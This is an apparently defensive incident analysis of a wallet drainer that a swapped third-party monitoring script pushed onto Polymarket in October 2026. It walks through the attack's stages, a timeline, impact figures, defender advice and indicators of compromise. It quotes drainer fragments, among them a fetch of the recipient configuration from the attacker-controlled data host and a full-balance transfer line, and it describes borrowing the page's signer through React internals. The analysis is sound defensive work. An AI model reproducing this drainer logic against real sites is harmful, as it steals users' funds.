The file that drained Polymarket accounts was not a wallet exploit. It was 15,187 bytes of minified JavaScript, sitting at the URL a page-speed tag had used for more than a year, and it did nothing that the page could not already do. It read the login state from localStorage, walked React’s component tree until it found the object with postOrder and createOrder, and borrowed the signer attached to it.

The tag belonged to DebugBear, a real-user monitoring (RUM) product that measures how fast pages load. Polymarket embedded it on polymarket.com, as thousands of sites embed a performance or analytics snippet. On 29 October 2026, between roughly 16:54 and 18:00 UTC, the file at that URL stopped measuring anything. It started moving money at 17:10, using Polymarket’s own order book, its own relayer, and its own conditional-token contract.

Nothing was forged. Every transaction was valid, signed by the account that owned the funds, and relayed by the service that normally pays gas for users.

TL;DR

  • A third-party RUM script at cdn.debugbear[.]com/C7xcKKrjUnXK.js was replaced with a Polymarket-specific wallet drainer. The clean file was 60,493 bytes; the hostile one is 15,187 bytes.
  • The drainer read polymarket.auth.params, polymarket.auth.proxyWallet, and poly_clob_api_key_map, then searched the running page for the live trading client and its signer.
  • It handled two account types differently. Email-login (Magic) accounts had positions sold with fill-and-kill orders and no visible prompt. Browser-wallet accounts had outcome tokens moved by one ERC-1155 safeBatchTransferFrom, which requires a signature.
  • Proceeds were routed through Polymarket’s gasless relayer and its pUSD conversion path. No private key, password, or seed phrase was taken.
  • A recipient address received 28,636,284.45 POL, 36 position-token transfers from 33 deposit wallets, and about $16,700 in stablecoins between 17:10 and 18:03 UTC. It held roughly $2.5 million by 18:20 and forwarded everything by 18:38.
  • Polymarket shipped a build without the script at 17:59:20 UTC and paused relayer actions. DebugBear told all RUM customers to remove the embed code at 18:00:58.
  • The compromise mechanism is not public. The evidence shows a different server answering for the vendor hostname, not a file edited in the vendor’s storage bucket.

The tag

DebugBear’s RUM product works the way most of them do. The customer puts one script tag on every page. The browser fetches that file from the vendor’s CDN on each visit, runs it inside the page, and the script reports timings back to the vendor.

For Polymarket the file was C7xcKKrjUnXK.js, a per-project snippet key. Archived copies of that URL from June 2025 through the morning of 29 October are ordinary RUM code. The copy captured at 12:06 UTC on the day of the incident is 60,493 bytes, carries the configuration "snippetKey":"C7xcKKrjUnXK" and "sendTo":"https://data.debugbear.com", and was served from Google Cloud Storage with standard object headers.

At 16:54:57 UTC, Cloudflare could not reach the origin behind cdn.debugbear[.]com and returned error 521. The hostile file served later carried an nginx ETag and an nginx/1.24.0 (Ubuntu) banner, not the storage headers the clean file had. By 20:37 UTC both cdn.debugbear[.]com and data.debugbear[.]com returned NXDOMAIN, and debugbear.com itself was still returning a Cloudflare origin error the next morning.

That sequence describes a change of origin, not an edit to a stored object. It does not establish who made the change or how.

What the file did

The payload is plain JavaScript, not obfuscated. It is a single minified function named startdebugger.

Stage 1: wait for a logged-in trader. The script requests configuration from its data host, with hardcoded fallbacks: a recipient address, a $10 minimum account value, a $10 minimum per position, and POL as the payout token. It asks polymarket.com/api/geoblock for the visitor’s location and exits if the response marks them as blocked. It then reads three storage keys the application writes:

Key Contents
polymarket.auth.params Login type (eoa or magic) and wallet address
polymarket.auth.proxyWallet The deposit wallet holding account funds
poly_clob_api_key_map Trading API credentials per wallet

A visitor with no session, or no credentials for the logged-in wallet, goes no further.

Stage 2: borrow the trading client. React stores component props and hook state on internal fiber objects attached to DOM elements under keys beginning __reactFiber$. The script collects up to 400 buttons, links and containers, then walks their fiber trees for up to five seconds or 60,000 nodes. It keeps any object that has a postOrder method and a createOrder or createMarketOrder method. That object is Polymarket’s order client, and it carries the signer.

If the client has not mounted yet, the script retries 15 times at 250 ms intervals. If it still fails, it sets location.pathname to /<wallet address>. The navigation reloads the page, and the script gets another attempt.

Stage 3: move value. The script reads the deposit wallet’s token balances over Polygon RPC and up to 200 open positions from Polymarket’s data API. It compares cash against position value and takes the larger one first.

Cash is approved, converted, and swapped through a quote from api.fun.xyz, with the payout sent in POL to the recipient. A stablecoin transfer is the fallback. Each call set is wrapped in an EIP-712 DepositWallet message, signed with the page’s signer, and posted to relayer-v2.polymarket.com/submit with a one-hour deadline.

Positions worth more than $10 each are handled by account type.

Stage 4: report. Three endpoints on data.debugbear[.]com receive the results: /metrics/submit for portfolio value and each position, /metrics/update for each cash sweep with its transaction hash, and /metrics/handle for each position transfer. Every report carries the deposit wallet, the login wallet, the login format, the operating system, a tracking UUID, and the visitor’s IP address and country as returned by the geoblock API.

The sales are followed by a balance poll that runs for 50 seconds. The poll assigns the new balance to the variable it then compares against, so it passes on the first read. The threat actor shipped a bug, and the loop is the kind of detail that separates a working tool from a script that was tested only against one account type.

Representative logic

Three fragments, ordered by how much can be verified about each.

The file that should have loaded. From the archived clean copy, 60,493 bytes:

(function(){
  const config = {
    "snippetKey":"C7xcKKrjUnXK",
    "sendTo":"https://data.debugbear.com",
    "version":10,
    "sampling":2,
    "includeSubdomains":true,
    ...

That is a monitoring script. It carries a snippet key, a data endpoint, a sampling rate and a version. It does not read wallet storage and it does not contain postOrder.

The configuration fallback. From the captured drainer, as published in static analysis of the file:

static async getInitialData() {
  try {
    return await (await fetch(this._apiUrl + "/metrics/init?referrer=" + this.TRACK_ID, { method: "GET" })).json()
  } catch {
    return { recipient: N, minimalPerPosition: 10, minimalToProcess: 10, priorityToken: "POL" }
  }
}

N is the hardcoded recipient. The shape matters more than the address: the destination is a remote setting with a local default. Blocking the hardcoded address removes the default configuration, not the capability.

The sequence. The function names below come from a public review of a capture on the day of the incident. I have not read the drainer bytes myself, so treat the identifiers as labels for the described behaviour rather than as proof of the source text.

Function Role
resolveAuthorization() Reads the three storage keys and the login type
foundClobClient() Walks React fiber state for the object with postOrder and createOrder, and keeps its signer
getInitialData() Fetches the recipient and thresholds from /metrics/init
signAndSubmitBatch() Builds the EIP-712 DepositWallet batch, requests the signature, posts to the relayer
X() Sends position tokens with safeBatchTransferFrom
Q() Runs the fill-and-kill sale ladder for Magic accounts, then sweeps the balance

One reported fragment of the cash path:

data: d.encode.transfer(t, e.total)

Here t is the recipient and e.total is the whole balance of the tracked collateral token. The recipient is a variable, the amount is the entire balance, and the signature comes from the page that loaded the script.

Two account types, two paths

The distinction matters for anyone reading victim reports, because it explains who saw a prompt and who did not.

Email login (Magic). Polymarket’s email accounts use an embedded wallet. During a session, the page can ask it to sign without a browser extension and without a confirmation window. The script sells each position with fill-and-kill orders: first at 97 percent of the current price, then 50 percent, then the market’s minimum tick. It skips closed, inactive and redeemable markets. This is the path behind the reports of accounts drained without a signature request.

Browser wallet (EOA). A MetaMask or similar account cannot be signed silently. The script builds one safeBatchTransferFrom call on the Conditional Tokens contract, 0x4D97DCd97eC945f40cF65F87097ACe5EA0476045, moving every qualifying outcome token to the recipient, and asks the wallet to sign. These users saw a signature request. Screenshots of one circulated during the incident.

Both paths end at the same relayer. Polymarket runs it so users never need POL for gas. On 29 October it paid the gas for the withdrawals too.

Timeline

All times UTC, 29 October 2026.

Time Event
12:06:55 Last clean capture of the script URL, 60,493 bytes, from the vendor’s storage bucket
16:54:57 cdn.debugbear[.]com returns Cloudflare 521: origin not responding
17:10:23 First POL reaches the recipient address, Polygon block 96,392,296
17:26:29 First outcome tokens reach the recipient
17:27:45 A Cloudflare edge caches the hostile file
17:30 Users begin reporting drained accounts
17:45:57 A trader publicly reports an $800,000 loss and sold positions
17:59:20 Polymarket builds production with chore(polymarket): remove debugbear rum script (#15337)
18:00:58 DebugBear tells all RUM customers to remove the embed code
18:02:56 Last token transfer into the recipient
18:05 Polymarket switches to cancel-only mode and pauses relayer actions
18:19:58 Recipient holds 28,636,284 POL
18:28–18:38 All POL forwarded to three wallets
18:33:12 Polymarket confirms a third-party provider was compromised and refers the matter to law enforcement
19:00:35 Trading fully back online
20:37 Both DebugBear hostnames return NXDOMAIN

The build timestamp is not a deployment time. Browsers that already had the page open kept the script running until the tab was refreshed or closed. The last transfer arrived three and a half minutes after the build, which fits the gap between a release and every client picking it up.

Impact

The recipient address was empty and had sent no transactions before 17:10. In the next 52 minutes it received:

  • 28,636,284.45 POL, delivered through swap contracts
  • 36 transfers of position tokens from 33 deposit wallets
  • 10,383.33 USDC.e in 15 transfers and 6,320.69 USDC in 14 transfers

It converted the stablecoins in four transactions, forwarded the position tokens in 25 transfers, and sent the POL out in three transfers between 18:28 and 18:38.

The dollar value depends on the POL price used; published figures range from about $2.5 million to $2.7 million. A separate trace counted 2.724M pUSD arriving from 721 source wallets. That is a count of transfer sources, not a confirmed victim count: one account can produce several, and swap contracts produce many. Polymarket has not published a user count or a loss figure. It has said affected traders will be made whole.

What the evidence does not show

Four things are commonly assumed and none of them is established.

How the file was replaced. A different server answered for the vendor’s hostname. Whether that came from a DNS change, an origin compromise, a CDN configuration change, or something else is not public. DebugBear has not published a root cause. Treating the incident as “the vendor was hacked” is a guess with a plausible shape, not a finding.

Intent. The payload is written for Polymarket alone. It reads Polymarket’s storage keys, calls Polymarket’s APIs, searches for Polymarket’s order client, and skips visitors its geoblock marks as blocked. That is a targeted tool. Targeting is not attribution, and it does not tell us how the file got there.

Scope. DebugBear told every RUM customer to remove the embed, which is the correct response to an origin-level problem. No second victim is public, and the payload would not work on another site. Whether other customers were served a different payload is unknown.

First-hand review. The clean file is verifiable: the archived 12:06:55 UTC response is 60,493 bytes with SHA-256 0525f046c83daa429e0f676d36650d51d9e283ba5cacfa56097c80bad586128b, and its configuration matches a monitoring script. The hostile file is not. The archive holds only a 521 error for the critical window, and the hostname no longer resolves, so the description of the payload rests on captures taken by others at 18:12 and 18:13 UTC and the analyses published from them. The behaviour described here is consistent across those analyses. The source text is not something this article can show.

The compromise also does not appear to be the first of its kind for this platform. Polymarket confirmed a third-party frontend script compromise in June 2026, with losses estimated near $3 million and full refunds promised. That vendor was never named publicly, and nothing published links the two events.

Why page load is the wrong trust boundary

A page assembled from third-party scripts is a dependency graph with no lockfile. The site owner chooses a vendor, and the vendor’s file changes without a version number, a review, or a diff. The browser has one rule for it: same realm, same privileges as the application.

That rule is what makes the drainer work. The script did not need to defeat an authentication check, because it ran after authentication. It did not need to steal a session cookie, because it could use the session in place. It did not need a new domain, because every host it called was already in Polymarket’s Content Security Policy: *.polymarket.com for the APIs and relayer, *.alchemy.com for RPC, *.fun.xyz for swap quotes. The policy allowed the attack because the policy describes where the application legitimately sends value.

Content Security Policy answers “which hosts may this page talk to.” It does not answer “is this file the file I approved.” Subresource Integrity answers that question, and it fails closed on a swapped file. It also fails when the vendor updates the script, so most sites do not pin it. The honest trade-off is between a tag that can silently change and a tag that breaks on the vendor’s release schedule.

This is the same inversion we describe at the registry, one layer out. A developer installs an extension and inherits the authority of every dependency inside it. A visitor opens a page and inherits the authority of every script the page loads. In both cases the thing being trusted is not the thing that was reviewed. The difference is where the boundary sits: a package registry can refuse an artifact before anyone installs it. A runtime script has no equivalent chokepoint, no inventory, and no version to pin unless the site owner builds one.

What defenders can do

  • Inventory every third-party script on the pages that can move money. A script that only reports timings does not need to run on a withdrawal screen, and scoping it to marketing pages removes it from the blast radius.
  • Pin what can be pinned. A integrity attribute on a vendor script would have blocked this swap. Where pinning breaks the vendor’s update flow, treat the tag as a privileged dependency and review it like code.
  • Read the CSP as an attack map. Every host in script-src, connect-src and frame-src is a place value can go. An allowlist built for functionality is an allowlist available to whoever controls a script on the page.
  • Separate signing from the page. A signer that only accepts requests originating from reviewed code, or that shows the full batch rather than a summary, removes the borrowed-client path. The drainer’s advantage was that the page’s own client could ask.
  • Assume a removed tag is still running. Pausing the relayer and switching to cancel-only closed both paths for sessions that already had the script. A code change alone did not.

The general principle: a page is an execution environment, not a document. Its trust boundary is the last script it loaded, not the domain in the address bar.

Outlook

Runtime dependencies are the cheapest place left to attack a financial application. The artifact is a text file at a URL, the delivery is one DNS or origin change at a vendor that many customers share, and the payload only has to work on one site to be worth writing.

Expect three things to follow. More vendor-hosted script compromises where the payload is written for a single customer, because that limits the number of parties who notice. More abuse of first-party transaction paths, because relayers, swap aggregators and gasless flows exist to remove friction for users and remove friction for whoever holds the session. And more pressure on subresource integrity and script allowlisting, because the alternative is trusting every tag on the page forever.

The June incident and this one are four months apart, on the same platform, through the same layer, with no smart contract involved either time. The contracts did what they were told.

IOCs

Network

Type Value Status
Script URL https[://]cdn.debugbear[.]com/C7xcKKrjUnXK.js 15,187 bytes at capture; host NXDOMAIN by 20:37 UTC
Config and exfiltration host https[://]data.debugbear[.]com Paths /metrics/init, /metrics/submit, /metrics/update, /metrics/handle; NXDOMAIN by 20:37 UTC
Clean file for the same URL 60,493 bytes, "snippetKey":"C7xcKKrjUnXK" Last capture 2026-10-29 12:06:55 UTC; hashed below

Files

Type Value Context
SHA-256 0755e767504d8103f6c27b9e765a1026507a17c04513242adb503df7777879e5 Drainer, 15,187 bytes
SHA-256 0525f046c83daa429e0f676d36650d51d9e283ba5cacfa56097c80bad586128b Clean RUM file, 60,493 bytes, served until 29 October
Function name startdebugger Drainer entry point
Tracking ID in reports 4c6b64a0-a7ef-4c0f-9c70-3a4e6f89065c Sent with every victim report

The clean hash is the useful one for hunting. Any asset inventory still holding 0525f046… is running the version that was safe, and any response that is 15 KB at that path is not the file the snippet key was issued for.

Chain

Role Address
Recipient embedded in payload (default) 0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18
Position-token receiver 0x5a2764fbbe5d139ef0ed988ec5f95320ce730c0b
POL forwarding 0xe4c4c39c1733e1c7c06b79f97ed442b68df41ec6, 0x5392587814ce8c6af6789764f88e5e9ab0b9962c, 0xc91ee0574a14446de200923729c349b9cae19b60
Abused contract 0x4D97DCd97eC945f40cF65F87097ACe5EA0476045 (Conditional Tokens)

The default recipient is the one address an analyst can block with confidence. Because the destination comes from /metrics/init, a later deployment can point somewhere else while keeping the same code, so address blocking catches this run and not the next one.

Behavioural

Pattern Detail
RUM script reading wallet state Page-speed script accessing polymarket.auth.proxyWallet or equivalent trading-session keys
Framework tree traversal Script walking __reactFiber$ entries from DOM nodes to find an object with postOrder and createOrder
Forced reload Script setting location.pathname to /<wallet address> after failing to find the client
Third-party script calling a first-party relayer A vendor-hosted file posting signed batches to the site’s own gasless relayer
Telemetry-shaped C2 Wallet addresses, balances and position titles posted to the monitoring vendor’s data host